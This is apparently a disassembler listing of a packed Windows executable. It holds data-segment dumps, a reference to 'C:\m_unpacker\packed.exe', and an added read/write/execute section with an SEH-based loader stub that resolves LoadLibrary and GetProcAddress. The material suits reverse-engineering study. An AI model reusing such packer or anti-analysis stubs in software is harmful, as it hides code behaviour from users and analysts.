byte_530049	db 3 dup(0)		; DATA XREF: .text:0043C5E1o
					; .text:0043E4E9o
		dd 935h	dup(0)
dword_532520	dd 47CCh dup(0)	dword_544450	dd 3C0h	dup(0)	dword_545350	dd 3C3Dh dup(0)			db 0
byte_554445	db 3 dup(0)		; DATA XREF: .text:off_43D660o
		dd 1C0h	dup(0)
dword_554B48	dd 2D3Fh dup(0)			db 0
byte_560045	db 3 dup(0)		; DATA XREF: .text:0043C5E9o
					; .text:0043E4F1o
		dd 1482h dup(0)
		db 3 dup(0)
byte_565253	db 0			; DATA XREF: .text:off_43A5D7o
		dd 2B7Eh dup(0)
		db 3 dup(0)
byte_57004F	db 0			; DATA XREF: .text:0044ED6Co
		dd 3FFDh dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: .text:off_43BAB4o
					; .text:0043BABCo ...
		dd 53BEh dup(0)
		db 2 dup(0)
word_594F42	dw 0			; DATA XREF: .text:off_44F8B8o
		dd 0AC38h dup(0)
dword_5C0024	dd 7 dup(0)						; .text:0043C0B4o
		db 3 dup(0)
byte_5C0043	db 0			; DATA XREF: .text:0044ED8Co
		dd 2 dup(0)
		db 2 dup(0)
word_5C004E	dw 0			; DATA XREF: .text:0044ED9Co
		db 2 dup(0)
word_5C0052	dw 0			; DATA XREF: .text:0044ED74o
					; .text:0044EDB0o
		dd 2 dup(0)
dword_5C005C	dd 0E79h dup(0)			db 0
byte_5C3A41	db 3 dup(0)		; DATA XREF: .text:off_447400o
		dd 0D086h dup(0)
		db 3 dup(0)
byte_5F7C5F	db 0			; DATA XREF: .text:off_44F8E8o
		dd 7940h dup(0)
		db 0
byte_616161	db 3 dup(0)		; DATA XREF: .text:off_43DAA8o
		dd 1BFh	dup(0)
		db 0
byte_616861	db 3 dup(0)		; DATA XREF: .text:off_44F89Co
		dd 25F3h dup(0)
		db 0
byte_620031	db 3 dup(0)		; DATA XREF: .text:0043C5EDo
					; .text:0043E4F5o
		dd 0ACBh dup(0)
		db 0
byte_622B61	db 3 dup(0)		; DATA XREF: .text:off_44DD1Co
		dd 1083h dup(0)
		db 3 dup(0)
byte_626D73	db 0			; DATA XREF: .text:off_43D680o
		dd 3D3Bh dup(0)
		db 0
byte_636261	db 3 dup(0)		; DATA XREF: .text:off_43D750o
		dd 42h dup(0)
		db 0
byte_63636D	db 3 dup(0)		; DATA XREF: .text:off_44F924o
		dd 75h dup(0)
dword_636544	dd 248h	dup(0)			db 2 dup(0)
word_636E66	dw 0			; DATA XREF: .text:off_43D3FCo
		dd 3 dup(0)
		db 2 dup(0)
word_636E76	dw 0			; DATA XREF: .text:off_43D970o
		dd 0FEh	dup(0)
		db 3 dup(0)
byte_637273	db 0			; DATA XREF: .text:off_446E34o
		dd 7Bh dup(0)
		db 3 dup(0)
byte_637463	db 0			; DATA XREF: .text:off_4462D0o
		dd 105h	dup(0)
		db 2 dup(0)
word_63787A	dw 0			; DATA XREF: .text:off_43D2C0o
		dd 21E1h dup(0)
dword_640000	dd 1854h dup(0)			db 3 dup(0)
byte_646153	db 0			; DATA XREF: .text:off_44F8DCo
		dd 3 dup(0)
		db 2 dup(0)
word_646162	dw 0			; DATA XREF: .text:off_44F9D0o
		dd 0FCh	dup(0)
		db 3 dup(0)
byte_646557	db 0			; DATA XREF: .text:00437F08o
		dd 486h	dup(0)
dword_647770	dd 223Fh dup(0)			db 2 dup(0)
word_65006E	dw 0			; DATA XREF: .text:off_44ED20o
		dd 1B2Dh dup(0)
dword_656D24	dd 20Ch	dup(0)	dword_657554	dd 87h dup(0)			db 0
byte_657771	db 3 dup(0)		; DATA XREF: .text:off_43D504o
		dd 241Ch dup(0)
dword_6607E4	dd 0							; sub_4235A4+24o ...
dword_6607E8	dd 0							; sub_426C45+93w ...
dword_6607EC	dd 4 dup(0)	dword_6607FC	dd 0							; sub_425777+9o
byte_660800	db 0			; DATA XREF: sub_426323+Eo
					; sub_426323+48w ...
		align 4
		dd 31h dup(0)
dword_6608C8	dd 0							; sub_4264CB:loc_4266B3w ...
dword_6608CC	dd 0							; sub_4264CB+3Aw ...
		dd 0
dword_6608D4	dd 0							; sub_4266D3+41r
		dd 7Fh dup(0)
dword_660AD4	dd 0							; sub_4266D3+50w
dword_660AD8	dd 0							; sub_4266D3+56r
		dd 906h	dup(0)
dword_662EF4	dd 0							; sub_42381F+19o
dword_662EF8	dd 293Ch dup(0)	byte_66D3E8	db 0			; DATA XREF: sub_42461A+21o
					; sub_42461A+45r ...
		align 4
dword_66D3EC	dd 0A01h dup(0)						; sub_426B6C+27o
dword_66FBF0	dd 0							; sub_423919+11Bo ...
		dd 18h dup(0)
byte_66FC54	db 0			; DATA XREF: sub_423919+1D5w
					; sub_423919+30Ew ...
		align 4
		dd 18h dup(0)
dword_66FCB8	dd 0							; sub_423919+270o ...
		dd 0E5h	dup(0)
		db 0
byte_670051	db 3 dup(0)		; DATA XREF: .text:0043C5E5o
					; .text:0043E4EDo
		dd 0D8Dh dup(0)
dword_673688	dd 0							; sub_423919+131r ...
dword_67368C	dd 0							; sub_42461A+5r ...
dword_673690	dd 0				dd 42h dup(0)
dword_67379C	dd 0							; sub_424762+19Br ...
dword_6737A0	dd 0							; sub_424762+1A8r ...
dword_6737A4	dd 0							; sub_424762+1B0r ...
dword_6737A8	dd 0		dword_6737AC	dd 0							; sub_424762+1C8r ...
dword_6737B0	dd 0							; sub_424762+1B8r
dword_6737B4	dd 0							; sub_424762+1C0r ...
dword_6737B8	dd 0							; sub_424A59+28r
dword_6737BC	dd 0							; sub_42495D+21w ...
dword_6737C0	dd 0							; sub_424762+E2w ...
dword_6737C4	dd 0							; sub_424762+ADw ...
dword_6737C8	dd 0		dword_6737CC	dd 0							; sub_42461A+Dr
dword_6737D0	dd 2 dup(0)			db 0
byte_6737D9	db 0			; DATA XREF: sub_426FB8+20Eo
word_6737DA	dw 0			; DATA XREF: sub_426FB8+228o
dword_6737DC	dd 9DBh	dup(0)	byte_675F48	db 0			; DATA XREF: sub_426FB8+CBw
					; sub_426FB8+1DCo
		align 2
word_675F4A	dw 0			; DATA XREF: sub_426FB8+D2w
					; sub_426FB8+1FCw
word_675F4C	dw 0			; DATA XREF: sub_426FB8+DAw
		align 10h
word_675F50	dw 0			; DATA XREF: sub_426FB8+F6w
		align 4
byte_675F54	db 0			; DATA XREF: sub_426FB8+87r
					; sub_426FB8+90w
		align 2
word_675F56	dw 0			; DATA XREF: sub_426FB8+B2w
		dd 0
byte_675F5C	db 0			; DATA XREF: sub_426FB8+FFw
byte_675F5D	db 0			; DATA XREF: sub_426FB8+106w
					; sub_426FB8+209o
word_675F5E	dw 0			; DATA XREF: sub_426FB8+10Dw
dword_675F60	dd 0							; sub_426FB8+1F6o
dword_675F64	dd 0		word_675F68	dw 0			; DATA XREF: sub_426FB8+BBw
word_675F6A	dw 0			; DATA XREF: sub_426FB8+C5w
word_675F6C	dw 0			; DATA XREF: sub_426FB8+138w
					; sub_426FB8+239o
word_675F6E	dw 0			; DATA XREF: sub_426FB8+145w
dword_675F70	dd 0							; sub_426FB8+1D2w
dword_675F74	dd 0		dword_675F78	dd 0		dword_675F7C	dd 0							; sub_426FB8+16Bw
byte_675F80	db 0			; DATA XREF: sub_426FB8+1ACw
		align 10h
word_675F90	dw 0			; DATA XREF: sub_426FB8+193w
		align 4
word_675F94	dw 0			; DATA XREF: sub_426FB8+188w
word_675F96	dw 0			; DATA XREF: sub_426FB8+19Cw
					; sub_426FB8+251w
		dd 2 dup(0)
		db 2 dup(0)
byte_675FA2	db 0			; DATA XREF: sub_426FB8+165w
		align 4
		dd 0Fh dup(0)
dword_675FE0	dd 0Eh dup(0)	dword_676018	dd 55h dup(0)	dword_67616C	dd 0ABh	dup(0)	dword_676418	dd 21h dup(0)						; sub_40A9FE:loc_40C5C2o ...
byte_67649C	db 0			; DATA XREF: sub_428660+1D0o
					; sub_428660+1DCw ...
byte_67649D	db 0			; DATA XREF: sub_428660+1EAw
word_67649E	dw 0			; DATA XREF: sub_428660+211w
word_6764A0	dw 0			; DATA XREF: sub_428660+202w
					; sub_428660:loc_4289BCw
word_6764A2	dw 0			; DATA XREF: sub_428660+217w
byte_6764A4	db 0			; DATA XREF: sub_428660+21Ew
byte_6764A5	db 0			; DATA XREF: sub_428660+1E3w
word_6764A6	dw 0			; DATA XREF: sub_428660+371w
					; sub_428660+3A6w
dword_6764A8	dd 0							; sub_428660+326r
dword_6764AC	dd 0		word_6764B0	dw 0			; DATA XREF: sub_428660+320w
					; sub_428660+380o
word_6764B2	dw 0			; DATA XREF: sub_428660+2B4w
					; sub_428660+2F7r ...
dword_6764B4	dd 0							; sub_428660+363w
dword_6764B8	dd 0							; sub_428660+337w ...
byte_6764BC	db 0			; DATA XREF: sub_428660+292r
					; sub_428660+2A4w
byte_6764BD	db 0			; DATA XREF: sub_428660+24Ew
					; sub_428660+330w ...
word_6764BE	dw 0			; DATA XREF: sub_428660+26Aw
word_6764C0	dw 0			; DATA XREF: sub_428660+378w
					; sub_428660+3B4w
word_6764C2	dw 0			; DATA XREF: sub_428660+2ADw
word_6764C4	dw 0			; DATA XREF: sub_428660+2E4w
					; sub_428660+3BCo
word_6764C6	dw 0			; DATA XREF: sub_428660+2FEw
					; sub_428660+393w
dword_6764C8	dd 0				dd 2 dup(0)
dword_6764D4	dd 0							; sub_428660+3A1o
dword_6764D8	dd 0		byte_6764DC	db 0			; DATA XREF: sub_428660+2BFw
byte_6764DD	db 0			; DATA XREF: sub_428660+2CEw
word_6764DE	dw 0			; DATA XREF: sub_428660+2DEw
dword_6764E0	dd 6 dup(0)	dword_6764F8	dd 0							; sub_428660+3C6r
		align 10h
dword_676500	dd 100h	dup(0)						; sub_428660+197o ...
dword_676900	dd 0							; sub_42A7D5+A4w
		align 8
word_676908	dw 0			; DATA XREF: sub_42A7D5+55r
					; sub_42A7D5+9Ao
word_67690A	dw 0			; DATA XREF: sub_42A7D5+48r
		db 2 dup(0)
word_67690E	dw 0			; DATA XREF: sub_42A7D5+3Br
word_676910	dw 0			; DATA XREF: sub_42A7D5+2Er
word_676912	dw 0			; DATA XREF: sub_42A7D5+21r
		dd 2 dup(0)
dword_67691C	dd 0		dword_676920	dd 0							; sub_432104:loc_43212Dw ...
dword_676924	dd 0							; sub_432C2F:loc_432C41r ...
		dd 0
dword_67692C	dd 0		dword_676930	dd 0							; sub_42B39A+104r ...
dword_676934	dd 0		dword_676938	dd 0							; sub_42D6AC+2Dw ...
		align 10h
dword_676940	dd 146450h, 0FFFFFFFFh,	4 dup(0)dword_676958	dd 1463D8h, 0FFFFFFFFh,	4 dup(0)dword_676970	dd 146428h, 0FFFFFFFFh,	4 dup(0)dword_676988	dd 146400h, 0FFFFFFFFh,	4 dup(0)dword_6769A0	dd 2 dup(0)						; .text:00434F37o
dword_6769A8	dd 0							; sub_42AA81:loc_42AB4Fr ...
		dd 3 dup(0)
dword_6769B8	dd 0							; sub_42AA81+C0r ...
		dd 4 dup(0)
dword_6769CC	dd 0		byte_6769D0	db 28h			; DATA XREF: .text:0042C5C6w
byte_6769D1	db 0Ah			; DATA XREF: sub_42B0E9:loc_42B15Fr
		align 4
dword_6769D4	dd 501h		dword_6769D8	dd 5		dword_6769DC	dd 1		dword_6769E0	dd 1		dword_6769E4	dd 0B427C0h			dd 0
dword_6769EC	dd 0B427E8h						; sub_4312E3+27r ...
dword_6769F0	dd 0		dword_6769F4	dd 0							; sub_434C59+4r ...
		dd 0
off_6769FC	dd offset aCM_unpackerPac ; DATA XREF: sub_432CE8+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_676A04	db 0			; DATA XREF: sub_42C1C0+5r
					; sub_430B56+32w
		align 4
dword_676A08	dd 0		dword_676A0C	dd 0							; sub_430B56+97w
dword_676A10	dd 1							; sub_430D9F+4Cw ...
dword_676A14	dd 0							; sub_4320A0+38r ...
dword_676A18	dd 0				align 10h
dword_676A20	dd 1							; sub_432875+4w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_432CE8:loc_432CFFo
					; .text:off_6769FCo
		align 10h
		dd 3Ah dup(0)
dword_676B28	dd 1							; sub_432F35+23w ...
dword_676B2C	dd 0		dword_676B30	dd 1							; sub_4334DD:loc_433547w
dword_676B34	dd 0		dword_676B38	dd 0							; sub_4339B6+7Aw ...
		align 10h
dword_676B40	dd 0							; sub_4339B6+5Dr
dword_676B44	dd 10h dup(0)	word_676B84	dw 0			; DATA XREF: sub_433C5E+A8r
word_676B86	dw 0			; DATA XREF: sub_4339B6+6Br
					; sub_433C5E+DBr ...
word_676B88	dw 0			; DATA XREF: sub_433C5E+CAr
word_676B8A	dw 0			; DATA XREF: sub_433C5E+D3r
					; sub_433C5E:loc_433D50r
word_676B8C	dw 0			; DATA XREF: sub_433C5E+C0r
word_676B8E	dw 0			; DATA XREF: sub_433C5E+B8r
word_676B90	dw 0			; DATA XREF: sub_433C5E+B0r
word_676B92	dw 0			; DATA XREF: sub_433C5E+9Er
dword_676B94	dd 0		dword_676B98	dd 10h dup(0)	word_676BD8	dw 0			; DATA XREF: sub_433C5E+46r
word_676BDA	dw 0			; DATA XREF: sub_4339B6:loc_433A44r
					; sub_433C5E+78r ...
word_676BDC	dw 0			; DATA XREF: sub_433C5E+67r
word_676BDE	dw 0			; DATA XREF: sub_433C5E+70r
					; sub_433C5E:loc_433CE2r
word_676BE0	dw 0			; DATA XREF: sub_433C5E+5Dr
word_676BE2	dw 0			; DATA XREF: sub_433C5E+55r
word_676BE4	dw 0			; DATA XREF: sub_433C5E+4Dr
word_676BE6	dw 0			; DATA XREF: sub_433C5E+3Er
dword_676BE8	dd 0		dword_676BEC	dd 0							; sub_4339B6:loc_433B17r ...
dword_676BF0	dd 0							; sub_433988+10r ...
		dd 19h dup(0)
dword_676C58	dd 0		; resolved to->USER32.MessageBoxA					; sub_434D70+2Ew ...
dword_676C5C	dd 0		; resolved to->USER32.GetActiveWindow					; sub_434D70:loc_434DBFr
dword_676C60	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_434D70+60r
dword_676C64	dd 0				align 10h
dword_676C70	dd 2 dup(0)						; .text:00453D38o ...
dword_676C78	dd 0							; sub_435021+81o
dword_676C7C	dd 0							; sub_435021+4Ao
dword_676C80	dd 0							; sub_435021+3Do
dword_676C84	dd 0							; sub_435021+57o
		dd 0
dword_676C8C	dd 0							; sub_435AE5+48w ...
		dd 2 dup(0)
byte_676C98	db 0			; DATA XREF: sub_4291C3:loc_42921Dr
					; sub_4291C3+63w
byte_676C99	db 0			; DATA XREF: sub_4291C3+6Fr
					; sub_4291C3+78w
		align 4
dword_676C9C	dd 4E4h							; sub_4326C8+79w ...
dword_676CA0	dd 3 dup(0)						; sub_4326C8+179o ...
dword_676CAC	dd 0							; sub_4326C8+168w ...
		dd 4 dup(0)
byte_676CC0	db 0			; DATA XREF: sub_43291B:loc_432A27w
					; sub_43291B:loc_432A44w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		db 0
byte_676D69	db 0, 0AAh, 0		; DATA XREF: .text:off_446E38o
		dd 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_676DC0	db 0			; DATA XREF: sub_4326C8+6Eo
					; sub_4326C8+BEo ...
byte_676DC1	db 0			; DATA XREF: sub_42BF95+5Dr
					; sub_4326C8+ABw ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_676EC4	dd 0							; sub_4326C8+137w ...
dword_676EC8	dd 1							; sub_432C2F+ADw
dword_676ECC	dd 1							; sub_432AA0+11w ...
dword_676ED0	dd 0							; sub_42B7EB:loc_42B834r ...
dword_676ED4	dd 0							; sub_42B7EB+11r ...
dword_676ED8	dd 0							; sub_42AA24+1Ar ...
dword_676EDC	dd 0							; sub_42A8C0:loc_42A927w ...
dword_676EE0	dd 0B41F18h						; sub_42C118+81r ...
dword_676EE4	dd 22h dup(0)	dword_676F6C	dd 1Dh dup(0)	dword_676FE0	dd 20h							; sub_42F4BE+5r ...
dword_676FE4	dd 0							; sub_42CF57+5r ...
dword_676FE8	dd 0							; sub_42C925+25Ar ...
dword_676FEC	dd 0							; sub_42C925+311w ...
dword_676FF0	dd 0							; sub_42C925+22Dr ...
dword_676FF4	dd 0							; sub_42C8FAr ...
dword_676FF8	dd 0							; sub_42C8FA+8r ...
dword_676FFC	dd 0							; sub_42B39A+64r ...
dword_677000	dd 0B40000h						; sub_4298F2+CEr ...
dword_677004	dd 1							; sub_4298F2+2Er ...
dword_677008	dd 142340h						; sub_432BD7+Fr ...
dword_67700C	dd 0							; sub_42C118+41w ...
		dd 4 dup(0)
dword_677020	dd 400h	dup(0)						; .text:00450EC8o
dword_678020	dd 0							; sub_42C118:loc_42C132w ...
		align 2000h
_text		ends

; Section 3. (virtual address 0027C000)
; Virtual size			: 00000FFF (   4095.)
; Section size in file		: 00000FFF (   4095.)
; Offset to raw	data for section: 0027C000
; Flags	E00FFFF0: Copy Text Data Bss Exception Comment Overlay Lib Loader Debug	Type check Overflow Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
peei		segment	para public 'CODE' use32
		assume cs:peei
		;org 67C000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 27C028h, 27C035h, 5 dup(0)
		dd 6E72654Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch
		dd 7Ch,	616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 73h
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp-40h]
		push	10h
		pop	ecx
		mov	eax, 0CCCCCCCCh
		rep stosd
; ---------------------------------------------------------------------------
		dw 0
		dd 228h	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		db	36h
		mov	eax, [ebp+10h]
		db	3Eh
		mov	edi, [eax+0C4h]
		db	3Eh
		push	dword ptr [edi]
		xor	edi, edi
		pop	dword ptr fs:[edi]
		db	3Eh
		add	dword ptr [eax+0C4h], 8
		db	3Eh
		mov	edi, [eax+0A4h]
		rol	edi, 7
		db	3Eh
		mov	[eax+0B8h], edi
		mov	eax, 0
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		xor	al, al
		mov	edx, ebp
		add	edx, 4038EBh
		lea	edi, [edx]
		mov	ecx, offset loc_404190
		sub	ecx, 4038EBh


loc_67C96A:				; CODE XREF: peei:0067C96Bj
		stosb
		loop	loc_67C96A
		mov	edx, ebp
		add	edx, 404207h
		lea	edi, [edx]
		mov	ecx, offset loc_4044E2
		sub	ecx, 404207h


loc_67C982:				; CODE XREF: peei:0067C983j
		stosb
		loop	loc_67C982
		popa
		push	eax
		xor	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	short near ptr word_67C992
; ---------------------------------------------------------------------------
		align 2
word_67C992	dw 0			; CODE XREF: peei:0067C98Fj
		dd 0BCh	dup(0)
		dd 0DC23400h, 201h, 0C300h, 0DBh dup(0)
		db 3 dup(0)
		db ?
peei		ends

; Section 4. (virtual address 0027D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0027D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 67D000h
		align 2000h
_idata2		ends


		end start